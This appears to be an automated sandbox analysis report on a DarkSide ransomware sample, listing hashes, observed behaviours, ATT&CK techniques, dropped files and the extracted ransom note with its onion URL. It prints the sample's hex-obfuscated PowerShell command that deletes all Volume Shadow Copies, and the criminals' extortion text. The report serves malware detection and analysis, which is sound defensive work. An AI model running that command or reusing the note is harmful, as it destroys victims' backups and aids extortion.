darkside | c5741701b3866459dd1ffa2477cfd8776713612912693a5897f78aac795d23e9

Resubmissions

31/03/2025, 00:22

250331-apdw1ssjs8 10

28/03/2025, 22:52

250328-2tfd7avl15 10

25/03/2025, 14:57

250325-sb3mbsxxht 10

Analysis

max time kernel
813s
max time network
817s
platform
windows10-ltsc_2021_x64
resource
win10ltsc2021-20250314-en
resource tags

arch:x64arch:x86image:win10ltsc2021-20250314-enlocale:en-usos:windows10-ltsc_2021-x64system
submitted
31/03/2025, 00:22

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Report Analysis Logs

General

Target

RansomwareSamples/DarkSide_01_05_2021_30KB.exe
Size

30KB
MD5

f00aded4c16c0e8c3b5adfc23d19c609
SHA1

86ca4973a98072c32db97c9433c16d405e4154ac
SHA256

4d9432e8a0ceb64c34b13d550251b8d9478ca784e50105dc0d729490fb861d1a
SHA512

a2697c2b008af3c51db771ba130590e40de2b0c7ad6f18b5ba284edffdc7a38623b56bc24939bd3867a55a7d263b236e02d1f0d718a5d3625402f2325cbfbedf
SSDEEP

768:lXnIczxCbTRNl71wHpZQgYI1TQPB3aYJEOW:hIMxCXd1+pZQgYIxk3vJE

Score

10^/10

darkside credential_access discovery execution ransomware spyware stealer upx

Malware Config

Extracted

Path

C:\Recovery\WindowsRE\README.e7499a5f.TXT

Family

darkside

Ransom Note

----------- [ Welcome to DarkSide ] -------------> What happend? ---------------------------------------------- Your computers and servers are encrypted, backups are deleted. We use strong encryption algorithms, so you cannot decrypt your data. But you can restore everything by purchasing a special program from us - universal decryptor. This program will restore all your network. Follow our instructions below and you will recover all your data. What guarantees? ---------------------------------------------- We value our reputation. If we do not do our work and liabilities, nobody will pay us. This is not in our interests. All our decryption software is perfectly tested and will decrypt your data. We will also provide support in case of problems. We guarantee to decrypt one file for free. Go to the site and contact us. How to get access on website? ---------------------------------------------- Using a TOR browser: 1) Download and install TOR browser from this site: https://torproject.org/ 2) Open our website: http://darksidfqzcuhtk2.onion/OBB5DDMR8RB9DI2RYYF376YGBJAV2J4F2NXFEWPBSXY709MAA0MY7PMBBQJ0HVG3 When you open our website, put the following data in the input form: Key: 5l5BZPnhuDEYAVqJR4MgValoWwML2OjDOtYwubDXeXGefcJDd4otfGdb9pJPrHW7Rt0XqdwabTWl9I5xhiHBsW6mg5BoqR4M2LZ0TI1hN4ifY7RVgRakjxxhhyImncWtgNb8LWtJlhn6cwtDLlsIjq0wAn8s7YsdzgTPPreHXEyFiFH1ozVIpZXV1mO5QXMZu16DNkFcXVIfdw5gPeSYjd3VAa7VlIH8IXgwCuza7YprCeDIOmvRqYK1jBH4s4nn0VyEHnWRndP7jNNUmat6FMhNzeKnLYGbMDRwmZR6iFdFX0Y3lhEWenDamVRchRSE5YwiL9LqTfkrnrswflssAB0SOcodZXRxG5HNItcitj3Za1NzC5fmBpdKN4jV01hMBG98ZEN8HMKeOdVxKtbAZP86K9IfBy8QcNrWLQ2hAeup6DD6KsG8R0Jj8czKTu4MDlGaxQMtPSycA0B6IzpPVV0Tbn9yWIIFH6y4mir71zDWbcPH3p5Hnr80gTnOFHXGzkGfrdy1bjn5H99zniLFFjchV8EEPMtgG2PwKF7NVQ9dTdlMBHWQpGc !!! DANGER !!! DO NOT MODIFY or try to RECOVER any files yourself. We WILL NOT be able to RESTORE them. !!! DANGER !!!

URLs

http://darksidfqzcuhtk2.onion/OBB5DDMR8RB9DI2RYYF376YGBJAV2J4F2NXFEWPBSXY709MAA0MY7PMBBQJ0HVG3

Signatures

DarkSide
Targeted ransomware first seen in August 2020. Operators steal data to use as leverage.
ransomware darkside
Darkside family
darkside
Renames multiple (155) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware
Credentials from Password Stores: Windows Credential Manager 1 TTPs
Suspicious access to Credentials History.
credential_access stealer

Windows Credential Manager
T1555.004
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4128	powershell.exe

Sets desktop wallpaper using registry 2 TTPs 2 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-780313508-644878201-565826771-1000\Control Panel\Desktop\WallPaper = "C:\\ProgramData\\e7499a5f.BMP"	DarkSide_01_05_2021_30KB.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-780313508-644878201-565826771-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\e7499a5f.BMP"	DarkSide_01_05_2021_30KB.exe

UPX packed file 4 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral9/memory/3152-0-0x0000000000DE0000-0x0000000000DF7000-memory.dmp	upx
behavioral9/memory/3152-2-0x0000000000DE0000-0x0000000000DF7000-memory.dmp	upx
behavioral9/memory/3152-207-0x0000000000DE0000-0x0000000000DF7000-memory.dmp	upx
behavioral9/memory/3152-210-0x0000000000DE0000-0x0000000000DF7000-memory.dmp	upx

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	DarkSide_01_05_2021_30KB.exe

Modifies Control Panel 1 IoCs

defense_evasion

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-780313508-644878201-565826771-1000\Control Panel\Desktop\WallpaperStyle = "10"	DarkSide_01_05_2021_30KB.exe

Modifies registry class 6 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.e7499a5f	DarkSide_01_05_2021_30KB.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.e7499a5f\ = "e7499a5f"	DarkSide_01_05_2021_30KB.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\e7499a5f\DefaultIcon	DarkSide_01_05_2021_30KB.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\e7499a5f	DarkSide_01_05_2021_30KB.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\e7499a5f\DefaultIcon\ = "C:\\Users\\Admin\\AppData\\Local\\e7499a5f.ico"	DarkSide_01_05_2021_30KB.exe
Key created	\REGISTRY\USER\S-1-5-21-780313508-644878201-565826771-1000_Classes\Local Settings	OpenWith.exe

Opens file in notepad (likely ransom note) 1 IoCs

ransomware

pid	Process
1992	NOTEPAD.EXE

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
4128	powershell.exe
4128	powershell.exe
3152	DarkSide_01_05_2021_30KB.exe
3152	DarkSide_01_05_2021_30KB.exe

Suspicious use of AdjustPrivilegeToken 25 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	3152	DarkSide_01_05_2021_30KB.exe
Token: SeSecurityPrivilege	3152	DarkSide_01_05_2021_30KB.exe
Token: SeTakeOwnershipPrivilege	3152	DarkSide_01_05_2021_30KB.exe
Token: SeLoadDriverPrivilege	3152	DarkSide_01_05_2021_30KB.exe
Token: SeSystemProfilePrivilege	3152	DarkSide_01_05_2021_30KB.exe
Token: SeSystemtimePrivilege	3152	DarkSide_01_05_2021_30KB.exe
Token: SeProfSingleProcessPrivilege	3152	DarkSide_01_05_2021_30KB.exe
Token: SeIncBasePriorityPrivilege	3152	DarkSide_01_05_2021_30KB.exe
Token: SeCreatePagefilePrivilege	3152	DarkSide_01_05_2021_30KB.exe
Token: SeBackupPrivilege	3152	DarkSide_01_05_2021_30KB.exe
Token: SeRestorePrivilege	3152	DarkSide_01_05_2021_30KB.exe
Token: SeShutdownPrivilege	3152	DarkSide_01_05_2021_30KB.exe
Token: SeDebugPrivilege	3152	DarkSide_01_05_2021_30KB.exe
Token: SeSystemEnvironmentPrivilege	3152	DarkSide_01_05_2021_30KB.exe
Token: SeRemoteShutdownPrivilege	3152	DarkSide_01_05_2021_30KB.exe
Token: SeUndockPrivilege	3152	DarkSide_01_05_2021_30KB.exe
Token: SeManageVolumePrivilege	3152	DarkSide_01_05_2021_30KB.exe
Token: 33	3152	DarkSide_01_05_2021_30KB.exe
Token: 34	3152	DarkSide_01_05_2021_30KB.exe
Token: 35	3152	DarkSide_01_05_2021_30KB.exe
Token: 36	3152	DarkSide_01_05_2021_30KB.exe
Token: SeDebugPrivilege	4128	powershell.exe
Token: SeBackupPrivilege	6084	vssvc.exe
Token: SeRestorePrivilege	6084	vssvc.exe
Token: SeAuditPrivilege	6084	vssvc.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
1824	OpenWith.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 3152 wrote to memory of 4128	3152	DarkSide_01_05_2021_30KB.exe	82
PID 3152 wrote to memory of 4128	3152	DarkSide_01_05_2021_30KB.exe	82

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\RansomwareSamples\DarkSide_01_05_2021_30KB.exe
"C:\Users\Admin\AppData\Local\Temp\RansomwareSamples\DarkSide_01_05_2021_30KB.exe"
1⤵
- Sets desktop wallpaper using registry
- System Location Discovery: System Language Discovery
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3152
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4128

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:6084

C:\Windows\system32\NOTEPAD.EXE
"C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Desktop\README.e7499a5f.TXT
1⤵
- Opens file in notepad (likely ransom note)
PID:1992

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:1824

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Windows Credential Manager

T1555.004

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Defacement

T1491

Replay Monitor

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Downloads

C:\Recovery\WindowsRE\README.e7499a5f.TXT

Filesize
1KB

MD5
f418a249405444da33cc73b402a26306

SHA1
1a6c493e74036f93f0dae4b65e6c543c213ce418

SHA256
b348457b3cd38a91d113b0dfbf5bdf9d830b39f5ab849b126fff027534ef2e09

SHA512
b848dd2bb5654aac30d36279af1b9460b36c2df9c8f696d5349a870cd9be8b0aac203623c2025e8b32e646b0558ee27cf72e04db6aee3a2cd548d5c29575efaf

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
4521e67a3b03b060fde700c36d3b9297

SHA1
4a730cd86dc7a57ac001d59853dd500c1b83b4ab

SHA256
a72aa223a84c4fa011c8a2b0ef2475a83d5123de2cdfa6a7160231729e68383d

SHA512
90235850eef71c2f0921d04e6990147af9e76fec8ee49e12e6a5bab065ff0e63331a54be845026f17a7b1dd230ee94843099db4813c127c6bafb8cbaf59b753f

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
411a953c14c00fe624cf7f8e96a41337

SHA1
9802c9be7f78eafb2ac6ce35f07c0caf8f1d8411

SHA256
aa1ab7ce60ba561f29e5d147f3e5a2b41485bb437b1fcbf5b3162d2aca0c44ed

SHA512
7f6e6b45b60bca927bd6419c6bdfec5e6e08aeada8c7cd6213b66a8c7df6d2c791d28e2974196f84abed0e57dcbe7d7cdfa4e8bd244bbfcd1bbccc0de032a7fa

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_bamder4x.1bu.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/3152-2-0x0000000000DE0000-0x0000000000DF7000-memory.dmp

Filesize
92KB

Download
memory/3152-210-0x0000000000DE0000-0x0000000000DF7000-memory.dmp

Filesize
92KB

Download
memory/3152-0-0x0000000000DE0000-0x0000000000DF7000-memory.dmp

Filesize
92KB

Download
memory/3152-207-0x0000000000DE0000-0x0000000000DF7000-memory.dmp

Filesize
92KB

Download
memory/4128-4-0x0000024A4F220000-0x0000024A4F242000-memory.dmp

Filesize
136KB

Download
memory/4128-19-0x00007FFCFD0B0000-0x00007FFCFDB72000-memory.dmp

Filesize
10.8MB

Download
memory/4128-16-0x00007FFCFD0B0000-0x00007FFCFDB72000-memory.dmp

Filesize
10.8MB

Download
memory/4128-15-0x00007FFCFD0B0000-0x00007FFCFDB72000-memory.dmp

Filesize
10.8MB

Download
memory/4128-14-0x00007FFCFD0B0000-0x00007FFCFDB72000-memory.dmp

Filesize
10.8MB

Download
memory/4128-3-0x00007FFCFD0B3000-0x00007FFCFD0B5000-memory.dmp

Filesize
8KB

Download